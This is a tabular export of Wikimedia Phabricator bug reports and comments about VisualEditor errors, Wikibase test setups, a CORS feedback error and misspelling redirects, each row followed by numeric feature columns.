45017,"VisualEditor: Fix ""Uncaught TypeError: this.registry[name].static is undefined""","When trying to use VisualEditor on the English Wikipedia at <https://en.wikipedia.org/wiki/James_Mackay,_Baron_Mackay_of_Clashfern>, I get the following error in my browser's console:

---
[11:35:31.120] TypeError: this.registry[name].static is undefined @ https://bits.wikimedia.org/en.wikipedia.org/load.php?debug=false&lang=en&modules=ext.visualEditor.core%2Cicons-raster%7Cext.visualEditor.viewPageTarget.icons-raster%7Cjquery.multiSuggest%7Crangy&skin=monobook&version=20121212T032708Z&*:207
---

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1355330220,1364318088.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-zivm3qjikccdl4xebglv,task_description,declined,True,c1,1,False,False,True,-29,,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,18.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,9.0,5.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,4.0,4.339285714285714,0.6964285714285714,"When trying to use VisualEditor on the English Wikipedia at <URL I get the following error in my browser's console:

---
[11:35:31.120] TypeError: this.registry[name].static is undefined @ URL
---

--------------------------
**Version**: unspecified
**Severity**: normal"
201551,"VisualEditor: Fix ""Uncaught TypeError: this.registry[name].static is undefined""","Cannot reproduce this without a deep stack trace; also, this is from three months ago, and we're unlikely to still have the same issue.",,,1364318088,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zivm3qjikccdl4xebglv,task_subcomment,,True,c1,1,True,,,-14,,0.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,13.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,7.0,3.0,3.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.7333333333333334,0.9333333333333333,"Cannot reproduce this without a deep stack trace; also, this is from three months ago, and we're unlikely to still have the same issue."
201542,"VisualEditor: Fix ""Uncaught TypeError: this.registry[name].static is undefined""",Max - any update on this? Can you reproduce when using debug=true (so we might have a hope of finding the underlying cause)?,,,1360206346,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zivm3qjikccdl4xebglv,task_subcomment,,True,c1,1,True,,,-21,,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,3.0,7.0,0.0,0.0,7.0,0.0,3.0,3.0,0.0,7.0,0.0,0.0,0.0,3.5172413793103448,0.9655172413793104,Max - any update on this? Can you reproduce when using debug=true (so we might have a hope of finding the underlying cause)?
201533,"VisualEditor: Fix ""Uncaught TypeError: this.registry[name].static is undefined""","I can't reproduce this, can you still? Did you do anything special to make this happen?",,,1355341942,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-zivm3qjikccdl4xebglv,task_subcomment,,True,c1,1,False,,,-29,,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,15.0,5.0,0.0,10.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,0.85,"I can't reproduce this, can you still? Did you do anything special to make this happen?"
45014,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'typePattern' of undefined""","When I try to use VisualEditor with <https://en.wikipedia.org/wiki/User:Trevor_Parscal>, I get the following error in my browser console: Uncaught TypeError: Cannot read property 'typePattern' of undefined.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1355327040,1364318060.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-lin2kfpz66zdn3l3uhx2,task_description,declined,True,c1,1,False,False,True,-29,,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,6.0,0.0,4.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,8.0,6.0,0.0,4.0,0.0,6.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,4.12,0.74,"When I try to use VisualEditor with <URL I get the following error in my browser console: Uncaught TypeError: Cannot read property 'typePattern' of undefined.

--------------------------
**Version**: unspecified
**Severity**: normal"
201317,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'typePattern' of undefined""","Cannot reproduce this without a deep stack trace; also, this is from three months ago, and we're unlikely to still have the same issue.",,,1364318060,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lin2kfpz66zdn3l3uhx2,task_subcomment,,True,c1,1,True,,,-14,,0.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,13.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,7.0,3.0,3.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.7333333333333334,0.9333333333333333,"Cannot reproduce this without a deep stack trace; also, this is from three months ago, and we're unlikely to still have the same issue."
201312,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'typePattern' of undefined""","Also, which browser, etc.? :-)",,,1355343913,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lin2kfpz66zdn3l3uhx2,task_subcomment,,True,c1,1,True,,,-29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,22.0,2.888888888888889,0.8888888888888888,"Also, which browser, etc.? :-)"
201307,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'typePattern' of undefined""","Works for me; can you still reproduce this? Did you just load the editor, or did you do something to make this happen?",,,1355341841,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-lin2kfpz66zdn3l3uhx2,task_subcomment,,True,c1,1,False,,,-29,,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,7.0,4.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,15.0,7.0,0.0,7.0,0.0,0.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.5555555555555554,0.8518518518518519,"Works for me; can you still reproduce this? Did you just load the editor, or did you do something to make this happen?"
44981,Enable Visual editor on test client,"Enable VisualEditor on test client and check if the two extensions do not interfere with each other.

They should not interfere with each other except for the additional parser function(s) introduced by Wikibase client.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1355287440,1378480597.0,PHID-USER-vlni4mhyozor7ghqnfkl,False,,False,PHID-TASK-ewbthsndzjv2jnkqp2ly,task_description,declined,True,c1,1,False,False,True,-29,,4.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,12.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.714285714285714,0.6785714285714286,"Enable VisualEditor on test client and check if the two extensions do not interfere with each other.

They should not interfere with each other except for the additional parser function(s) introduced by Wikibase client.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
44980,Enable Visual editor on test repo,"Enable VisualEditor on test repo and check if the two extensions do not interfere with each other.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1355285580,1378480608.0,PHID-USER-vlni4mhyozor7ghqnfkl,False,,False,PHID-TASK-dc5kyuqpkf3s6kddlzao,task_description,declined,True,c1,1,False,False,True,-29,,3.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.416666666666667,0.75,"Enable VisualEditor on test repo and check if the two extensions do not interfere with each other.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
199187,Enable Visual editor on test repo,"Note that VisualEditor will attempt to add edit links in the caction for pages in main namespace, but with Wikibase using main namespace for items this will be conflicting.

It is possible to enable VisualEditor for specific namespaces so a work around should be pretty simple.",,,1355285813,,PHID-USER-vlni4mhyozor7ghqnfkl,False,,,PHID-TASK-dc5kyuqpkf3s6kddlzao,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,20.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,2.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,10.0,4.0,2.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,20.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.66,0.8,"Note that VisualEditor will attempt to add edit links in the caction for pages in main namespace, but with Wikibase using main namespace for items this will be conflicting.

It is possible to enable VisualEditor for specific namespaces so a work around should be pretty simple."
44974,"VisualEditor: Avoid triggering ""XMLHttpRequest cannot load. Origin is not allowed by Access-Control-Allow-Origin.""","Feedback is one-way, we don't need to read the reponse (and we can't, due to origin policy). So we should convert this into a regular POST without XHR so that it doesn't error.

Apparently though the current method does work for one-way (the request isn't blocked in Chrome).

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1355277780,1370629685.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-tq6ygkwi32qnc2l6vv5h,task_description,invalid,True,c1,1,True,False,True,-29,,0.0,0.0,0.0,1.0,5.0,5.0,0.0,0.0,1.0,0.0,1.0,5.0,0.0,0.0,0.0,4.0,0.0,7.0,12.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,10.0,4.0,1.0,6.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,5.0,12.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.5833333333333335,0.6666666666666666,"Feedback is one-way, we don't need to read the reponse (and we can't, due to origin policy). So we should convert this into a regular POST without XHR so that it doesn't error.

Apparently though the current method does work for one-way (the request isn't blocked in Chrome).

--------------------------
**Version**: unspecified
**Severity**: normal"
198897,"VisualEditor: Avoid triggering ""XMLHttpRequest cannot load. Origin is not allowed by Access-Control-Allow-Origin.""","We're scrapping this feedback system, so marking as INVALID.",,,1370629685,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tq6ygkwi32qnc2l6vv5h,task_subcomment,,True,c1,2,True,,,-4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.333333333333333,1.0,"We're scrapping this feedback system, so marking as INVALID."
198890,"VisualEditor: Avoid triggering ""XMLHttpRequest cannot load. Origin is not allowed by Access-Control-Allow-Origin.""","I'm watching this bug.  Parsoid does support CORS headers via a configuration in localsettings.js (although maybe not yet on this particular response), so if you do decide to fix this on the parsoid end let me know.",,,1366316690,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-tq6ygkwi32qnc2l6vv5h,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,2.0,2.0,5.0,2.0,0.0,0.0,0.0,5.0,0.0,7.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,7.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,5.0,2.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,7.0,16.0,5.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,4.068181818181818,0.9090909090909091,"I'm watching this bug.  Parsoid does support CORS headers via a configuration in localsettings.js (although maybe not yet on this particular response), so if you do decide to fix this on the parsoid end let me know."
198883,"VisualEditor: Avoid triggering ""XMLHttpRequest cannot load. Origin is not allowed by Access-Control-Allow-Origin.""",De-prioritising and pulling from target milestone.,,,1361816423,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tq6ygkwi32qnc2l6vv5h,task_subcomment,,True,c1,1,True,,,-18,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,1.0,De-prioritising and pulling from target milestone.
44936,VisualEditor: Integration in production should not ignoreHidden on user preference,"In VisualEditor.hooks.php the function to evaluate whether or not to show the VisualEditor has ignoreHidden set true on the user preference check; this should be false in production.

--------------------------
**Version**: unspecified
**Severity**: trivial",Low,25.0,1355190000,1366929861.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-ffowylul32ecwhb6soji,task_description,resolved,True,c1,1,True,False,True,-29,,0.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,10.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,12.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.75,0.75,"In VisualEditor.hooks.php the function to evaluate whether or not to show the VisualEditor has ignoreHidden set true on the user preference check; this should be false in production.

--------------------------
**Version**: unspecified
**Severity**: trivial"
196729,VisualEditor: Integration in production should not ignoreHidden on user preference,Related URL: https://gerrit.wikimedia.org/r/61035 (Gerrit Change Idebb147ee03ad956cd0f3826c304db65eed1e34e),,,1366995915,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ffowylul32ecwhb6soji,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Idebb147ee03ad956cd0f3826c304db65eed1e34e)
196721,VisualEditor: Integration in production should not ignoreHidden on user preference,Fixed and being deployed today.,,,1366929861,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ffowylul32ecwhb6soji,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Fixed and being deployed today.
196713,VisualEditor: Integration in production should not ignoreHidden on user preference,Related URL: https://gerrit.wikimedia.org/r/60911 (Gerrit Change Iec91b30422017ce9d71bc71b2cbeb71688e0d18f),,,1366920806,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ffowylul32ecwhb6soji,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Iec91b30422017ce9d71bc71b2cbeb71688e0d18f)
196703,VisualEditor: Integration in production should not ignoreHidden on user preference,Related URL: https://gerrit.wikimedia.org/r/60899 (Gerrit Change I0e55faca4eabe910d9b4d8ca8c6b4b0bd42e8539),,,1366916775,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ffowylul32ecwhb6soji,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I0e55faca4eabe910d9b4d8ca8c6b4b0bd42e8539)
44880,Redirects mask incorrect spellings (misspellings) in articles,"On a site such as the English Wikipedia, editors often create redirects for misspelled versions of page titles so that readers can have an easier time accessing the content they're after. For example, if a reader enters ""Barrack Obama"" or ""Dave Chapelle"" or ""Steve Carrell"" into the search bar, they'll be redirected automatically to ""Barack Obama"" or ""Dave Chappelle"" or ""Steve Carell"" (respectively) automatically. This is a good thing.

However, these redirects can be problematic when editors insert this text into a page in the form of a link and don't get any feedback that the text they've entered is a misspelling (that it's likely wrong and not the text they intended to insert). In fact, the user gets the opposite feedback: they get feedback (a blue link) indicating that they've inserted an appropriate, working link.

These misspelled redirects can be tagged with templates such as ""{{R from misspelling}}"" which generally automatically categorize them.

I'm not sure what the appropriate behavior here is. I believe that continuing to allow users to insert links to misspelled words or phrases unknowingly is a bug and should be addressed somehow.

There are a few options here, but I'm curious to read what others think about this. The goal here is to reduce the number of misspelled links that are added to a page by giving the user warning or notice that they've tried to insert a misspelled link (e.g., [[Hilary Clinton]] or [[Stephen Spielberg]]).

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: https://en.wikipedia.org/wiki/Wikipedia:Database_reports/Linked_misspellings
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=13595",Low,25.0,1355001180,,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-nnoorqwvduraaxjx3s3c,task_description,open,True,c1,0,False,False,,-30,,0.5,0.0,0.0,1.0,0.75,5.0,1.25,0.0,0.0,0.25,1.5,2.0,0.0,0.0,0.25,0.75,1.0,4.75,9.0,0.0,1.5,0.25,0.25,0.0,0.25,0.0,0.0,0.0,0.75,0.25,0.25,6.0,1.25,0.25,0.5,0.0,0.0,0.25,0.75,0.5,0.0,2.0,0.0,1.5,0.0,0.0,0.5,0.25,0.75,13.5,0.75,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.25,0.0,0.25,0.0,6.5,2.75,9.75,2.25,2.75,8.25,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,3.0,9.0,4.75,0.0,3.5,0.0,3.0,0.0,1.25,3.25,0.25,1.5,0.25,0.0,1.25,3.893331053351573,0.6731532147742818,"On a site such as the English Wikipedia, editors often create redirects for misspelled versions of page titles so that readers can have an easier time accessing the content they're after. For example, if a reader enters ""Barrack Obama"" or ""Dave Chapelle"" or ""Steve Carrell"" into the search bar, they'll be redirected automatically to ""Barack Obama"" or ""Dave Chappelle"" or ""Steve Carell"" (respectively) automatically. This is a good thing.

However, these redirects can be problematic when editors insert this text into a page in the form of a link and don't get any feedback that the text they've entered is a misspelling (that it's likely wrong and not the text they intended to insert). In fact, the user gets the opposite feedback: they get feedback (a blue link) indicating that they've inserted an appropriate, working link.

These misspelled redirects can be tagged with templates such as ""{{R from misspelling}}"" which generally automatically categorize them.

I'm not sure what the appropriate behavior here is. I believe that continuing to allow users to insert links to misspelled words or phrases unknowingly is a bug and should be addressed somehow.

There are a few options here, but I'm curious to read what others think about this. The goal here is to reduce the number of misspelled links that are added to a page by giving the user warning or notice that they've tried to insert a misspelled link (e.g., [[Hilary Clinton]] or [[Stephen Spielberg]]).

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: URL
**See Also**:
URL"
193578,Redirects mask incorrect spellings (misspellings) in articles,"(In reply to John Broughton from comment #5)
> (In reply to John Mark Vandenberg from comment #4)
> 
> I think we've wandered off topic, for which I'll take some responsibility.
> The issue is NOT links to redirect pages, which (typically as hatnotes) can
> be absolutely correct. Rather, the problem is wikilinks to redirect pages
> **that are marked as being for misspellings**.

Thanks for clarifying your solutions are for misspelling redirects only.

What I was focusing on was the underlying problem that the software does not have a good way to determine which redirects are marked as misspellings?  And the concept of misspelling is IMO too complex to be built into the mediawiki layer.

Surely not by looking for [[Template:R from misspelling]] or [[Category:Redirects from misspellings]] (as was done for disambiguation pages)

__MISSPELLING__ ?  That would be equally odd.

Bug 13595 is an interesting idea that records per-redirect custom messages to be used in one context (above target article), but the same approach may be used to provide custom messages to other contexts (such as in VE).

